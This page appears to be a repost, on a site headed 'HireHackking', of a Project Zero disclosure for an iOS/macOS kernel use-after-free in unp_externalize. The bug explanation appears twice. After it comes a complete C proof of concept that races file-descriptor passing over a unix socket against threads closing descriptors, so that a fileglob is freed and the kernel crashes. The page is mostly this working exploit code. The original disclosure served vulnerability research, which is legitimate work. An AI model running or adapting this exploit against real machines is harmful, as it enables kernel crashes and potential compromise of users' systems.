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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1123

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

  for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
    /*
     * If receive access is denied, don't pass along
     * and error message, just discard the descriptor.
     */
    if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
      proc_fdunlock(p);
      unp_discard(rp[i], p);
      fds[i] = 0;
      proc_fdlock(p);
      continue;
    }
#endif
    if (fdalloc(p, 0, &f))
      panic("unp_externalize:fdalloc");
    fp = fileproc_alloc_init(NULL);
    if (fp == NULL)
      panic("unp_externalize: MALLOC_ZONE");
    fp->f_iocount = 0;
    fp->f_fglob = rp[i];
    if (fg_removeuipc_mark(rp[i]))
      fgl[i] = rp[i];
    else
      fgl[i] = NULL;
    procfdtbl_releasefd(p, f, fp);
    fds[i] = f;
  }
  proc_fdunlock(p);                <-------- (b)

  for (i = 0; i < newfds; i++) {
    if (fgl[i] != NULL) {
      VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
      fg_removeuipc(fgl[i]);      <--------- (c)
    }
    if (fds[i])
      (void) OSAddAtomic(-1, &unp_rights);
  }


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
*/

//ianbeer
//the ReadDescriptor and Write Descriptor functions are based on Apple sample code from: https://developer.apple.com/library/content/qa/qa1541/_index.html

#if 0
iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

	for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
		/*
		 * If receive access is denied, don't pass along
		 * and error message, just discard the descriptor.
		 */
		if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
			proc_fdunlock(p);
			unp_discard(rp[i], p);
			fds[i] = 0;
			proc_fdlock(p);
			continue;
		}
#endif
		if (fdalloc(p, 0, &f))
			panic("unp_externalize:fdalloc");
		fp = fileproc_alloc_init(NULL);
		if (fp == NULL)
			panic("unp_externalize: MALLOC_ZONE");
		fp->f_iocount = 0;
		fp->f_fglob = rp[i];
		if (fg_removeuipc_mark(rp[i]))
			fgl[i] = rp[i];
		else
			fgl[i] = NULL;
		procfdtbl_releasefd(p, f, fp);
		fds[i] = f;
	}
	proc_fdunlock(p);                <-------- (b)

	for (i = 0; i < newfds; i++) {
		if (fgl[i] != NULL) {
			VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
			fg_removeuipc(fgl[i]);      <--------- (c)
		}
		if (fds[i])
			(void) OSAddAtomic(-1, &unp_rights);
	}


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
#endif 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <errno.h>
#include <assert.h>
#include <pthread.h>

static const char kDummyData = 'D';

static int ReadDescriptor(int fd, int *fdRead)
    // Read a descriptor from fd and place it in *fdRead.
    //
    // On success, the caller is responsible for closing *fdRead.
{
    int                 err;
    int                 junk;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    char                dummyData;
    ssize_t             bytesReceived;

    // Pre-conditions

    assert(fd >= 0);
    assert( fdRead != NULL);
    assert(*fdRead == -1);

    // Read a single byte of data from the socket, with the assumption 
    // that this byte has piggybacked on to it a single descriptor that 
    // we're trying to receive. This is pretty much standard boilerplate 
    // code for reading descriptors; see <x-man-page://2/recv> for details.

    iov.iov_base = (char *) &dummyData;
    iov.iov_len  = sizeof(dummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = sizeof(control);
    msg.msg_flags      = MSG_WAITALL;

    do {
        bytesReceived = recvmsg(fd, &msg, 0);
        if (bytesReceived == sizeof(dummyData)) {
            if ( (dummyData != kDummyData)
                || (msg.msg_flags != 0) 
                || (msg.msg_control == NULL) 
                || (msg.msg_controllen != sizeof(control)) 
                || (control.hdr.cmsg_len != sizeof(control)) 
                || (control.hdr.cmsg_level != SOL_SOCKET)
                || (control.hdr.cmsg_type  != SCM_RIGHTS) 
                || (control.fd < 0) ) {
                err = EINVAL;
            } else {
                *fdRead = control.fd;
                err = 0;
            }
        } else if (bytesReceived == 0) {
            err = EPIPE;
        } else {
            assert(bytesReceived == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    assert( (err == 0) == (*fdRead >= 0) );

    return err;
}

static int WriteDescriptor(int fd, int fdToWrite)
    // Write the descriptor fdToWrite to fd.
{
    int                 err;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    ssize_t             bytesSent;
    char                ack;

    // Pre-conditions

    assert(fd >= 0);
    assert(fdToWrite >= 0);

    control.hdr.cmsg_len   = sizeof(control);
    control.hdr.cmsg_level = SOL_SOCKET;
    control.hdr.cmsg_type  = SCM_RIGHTS;
    control.fd             = fdToWrite;

    iov.iov_base = (char *) &kDummyData;
    iov.iov_len  = sizeof(kDummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = control.hdr.cmsg_len;
    msg.msg_flags      = 0;
    do {
        bytesSent = sendmsg(fd, &msg, 0);
        if (bytesSent == sizeof(kDummyData)) {
            err = 0;
        } else {
            assert(bytesSent == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    return err;
}

char* filenames[10] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"};

void parent(int sock) {
  int f = 0;
  while(1) {
    char* filename = filenames[f];
    f++;
    f %= 10;
    int to_send = open(filename, O_CREAT|O_RDWR, 0644);
    
    int err = WriteDescriptor(sock, to_send);
    printf("err: %x\n", err);
    
    close(to_send);
  }
}

void* child_thread(void* arg) {
  while(1) {
    close(3);
  }
}

void child(int sock) {
  for (int i = 0; i < 10; i++) {
    pthread_t t;
    pthread_create(&t, NULL, child_thread, NULL);
  }
  while (1) {
    int received = -1;
    int err = ReadDescriptor(sock, &received);
    close(received);
  }
}

int main() {
  int socks[2];
  socketpair(PF_LOCAL, SOCK_STREAM, 0, socks);

  pid_t pid = fork();
  if (pid != 0) {
    close(socks[1]);
    parent(socks[0]);
    int wl;
    waitpid(pid, &wl, 0);
    exit(EXIT_SUCCESS);
  } else {
    close(socks[0]);
    child(socks[1]);
    exit(EXIT_SUCCESS);
  }
  return 0;
}